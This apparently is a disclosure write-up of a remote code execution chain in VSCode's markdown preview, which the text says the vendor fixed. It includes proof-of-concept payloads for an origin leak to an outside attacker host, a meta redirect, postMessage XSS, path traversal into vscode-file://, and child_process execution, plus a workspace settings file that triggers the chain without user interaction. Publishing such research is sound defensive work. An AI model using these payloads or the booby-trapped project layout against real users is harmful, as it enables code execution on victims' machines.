VSCode is a widely used Electron application. As part of our research into hacking Electron apps, we tried to exploit it and achieved remote code execution.
VSCode webview origin leak and meta redirect
Markdown files are rendered using the vscode-webview:// protocol with a unique ID, and the rendered page has the following CSP:
default-src 'none'; img-src 'self' https://*.vscode-webview.net https: data:; media-src 'self' https://*.vscode-webview.net https: data:; script-src 'nonce-b2FRHThl3pYBbQRmwMMnXnT1XqK7XGOBKiigpevKp0t7aHy1kFyHNabUhRKKi7OZ'; style-src 'self' https://*.vscode-webview.net 'unsafe-inline' https: data:; font-src 'self' https://*.vscode-webview.net https: data:;Achieving XSS is impossible unless we can somehow leak the nonce. However, vscode-webview:// includes a postMessage handler that can be exploited for XSS. To use this postMessage, we first need to leak the extension ID, which is the host part of the vscode-webview:// origin.
Origin leak
Since the markdown is rendered in the same origin, we can use a technique like HTTPLeaks to leak the origin.
We discovered that it is possible to leak the extension ID via the font-src CSS directive, as the origin header in the request contains the ID we need:
<style> @font-face { font-family: 'MyFont'; src: url('https://pwn.af/elect/final/origin.php'); } body { font-family: 'MyFont'; }</style><b>leak</b>Meta redirect
Even with such a strict CSP, we can still use a meta tag to redirect to an attacker’s site where JavaScript can be executed.
Here is a proof of concept for the meta redirect and ID leak:
<style> @font-face { font-family: 'MyFont'; src: url('https://pwn.af/elect/final/origin.php'); } body { font-family: 'MyFont'; }</style><body> <b color="RED">POC STARTING</b> <meta http-equiv="refresh" content="3;url=https://pwn.af/somefile.php" /></body>XSS in vscode-webview
vscode-webview:// pages have postMessage handlers. They check if the message is coming from a valid origin by using a query parameter named parentOrigin. This means that any arbitrary origin can load the vscode-webview in an iframe and send postMessage calls:
window.addEventListener('message', (e) => {
if (e.origin !== parentOrigin) { console.log(`skipping webview message due to mismatched origins: ${e.origin} ${parentOrigin}`); return; }On the attacker’s page, we can create an iframe with the following origin:
vscode-webview://ID/index.html?id=f6cb17f4-e1a2-465a-8c0b-239d65c5385c&swVersion=2&extensionId=vscode.markdown-language-features&platform=electron&vscode-resource-base-authority=vscode-resource.vscode-webview.net&parentOrigin=https://pwn.afAfter that, we can send the following postMessage to achieve XSS in vscode-webview:
frames[0].postMessage({channel:'content',args:{contents:”<img src=x onerror=alert(origin) />”,options:{allowScripts:true}}},'*')For reference, see src/vs/workbench/contrib/webview/browser/pre/main.js#L762.
XSS in vscode-file origin
vscode-file is the main origin used by VSCode, and it has nodeIntegration enabled. It is similar to the file:// origin, allowing you to load files by their path, but only if they are inside the VSCode installation directory.
The following path shows where VSCode runs, which is within the installation directory:
vscode-file://vscode-app/Applications/Visual Studio Code.app/Contents/Resources/app/out/vs/code/electron-browser/workbench/workbench.htmlOur idea was to navigate vscode-file:// to a controlled HTML file to demonstrate that we could run Node.js code and achieve RCE. However, navigation is restricted to the installation path, and we can’t create arbitrary files within that directory. We considered using network shares, but that approach didn’t work.
After some experimentation, we discovered that by using path traversal, we could load any file outside of the VSCode installation path:
vscode-file://vscode-app/Applications/Visual Studio Code.app/Contents/Resources/app/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F/somefile.htmlNow we need a way to create an arbitrary HTML file on the victim’s computer.
Our idea was to use the same VSCode project or folder to store the HTML file. Then, we could navigate to it using top.location='vscode-file://vscode-app/vscode_project_opened_folder_path/malicious.html':
<script> if (navigator.platform == 'MacIntel') { top .require('child_process') .exec('open /System/Applications/Calculator.app') } else { top.require('child_process').execSync('calc.exe') }</script>That puts an arbitrary HTML file in the VSCode project folder on the victim’s computer, but we still need its path. A postMessage leak provides it.
To leak the current user’s directory path, vscode-webview:// can send postMessage calls to the vscode-file:// origin. When a channel: do-reload postMessage is sent to vscode-file, it responds with several postMessage calls back to vscode-webview://, and one of these messages reveals the user’s directory path:
window.top.frames[0].onmessage = (event) => { // loc = event.data.args.options.localResourceRoots[3].path try { loc = JSON.parse(event.data.args.state)['resource'] console.log(loc) } catch {}}window.top.postMessage({ target: '${origin}', channel: 'do-reload' }, '*')After obtaining the user’s directory path, we can redirect the current window to vscode-file:///:
<script> window.top.frames[0].onmessage = (event) => { console.log(event)
try { loc = JSON.parse(event.data.args.state)['resource'] var pwn_loc = loc .replace( 'file:///', 'vscode-file://vscode-app/Applications/Visual Studio Code.app/Contents/Resources/app/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F', ) .replace('pwn_mac.md', 'test.html') location.href = pwn_loc } catch (e) { console.log(e) } } window.top.postMessage( { target: '${origin}', channel: 'do-reload', }, '*', )</script>Here is a full proof of concept for vscode-webview XSS and vscode-file XSS:
<?phpinclude "config.php"?><html lang="en" dir="ltr"> <head> <meta charset="utf-8" />
<title>PoC</title> <script> var channel window.addEventListener('message', onMessage) function onMessage(e) { console.log(e) channel = e channel.ports[0].onmessage = console.log channel.ports[0].postMessage({ channel: 'did-load-resource', data: {} }) } var origin = '<?= $origin ?>'.split('/')[2] function pwn() { payload = `<script> window.top.frames[0].onmessage = event => { console.log(event);
try { loc = JSON.parse(event.data.args.state)['resource']; var pwn_loc = loc.replace('file:///','vscode-file://vscode-app/Applications/Visual Studio Code.app/Contents/Resources/app/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F').replace('pwn_mac.md','test.html') location.href=pwn_loc; } catch (e) { console.log(e); } }; window.top.postMessage({ target: '${origin}', channel: 'do-reload' }, '*'); <\/script>` channel.ports[0].postMessage({ channel: 'content', args: { contents: payload, options: { allowScripts: true } }, }) } setTimeout(function () { pwn() }, 3000) </script> </head> <body> <iframe style="position: absolute; width:0;height:0;border: 0;border: none;" src="<?= $origin ?>/index.html?id=f6cb17f4-e1a2-465a-8c0b-239d65c5385c&swVersion=2&extensionId=vscode.markdown-language-features&platform=electron&vscode-resource-base-authority=vscode-resource.vscode-webview.net&parentOrigin=<?= $host ?>" > </iframe> </body></html>Reducing user interaction
To render a markdown file, users typically need to select Markdown: Open preview in Quick Open. However, by using a VSCode workspace settings file, we can automatically render markdown without any user interaction:
{ "workbench.editorAssociations": { "*.md": "vscode.markdown.preview.editor" }, "workbench.startupEditor": "readme"}Here is the folder structure:
ls -a. .. .vscode README.md pwn_mac.md pwn_win.md test.htmlls -a .vscode. .. settings.jsonMicrosoft’s Security Response Center (MSRC) paid $3,000 for the bug and fixed it.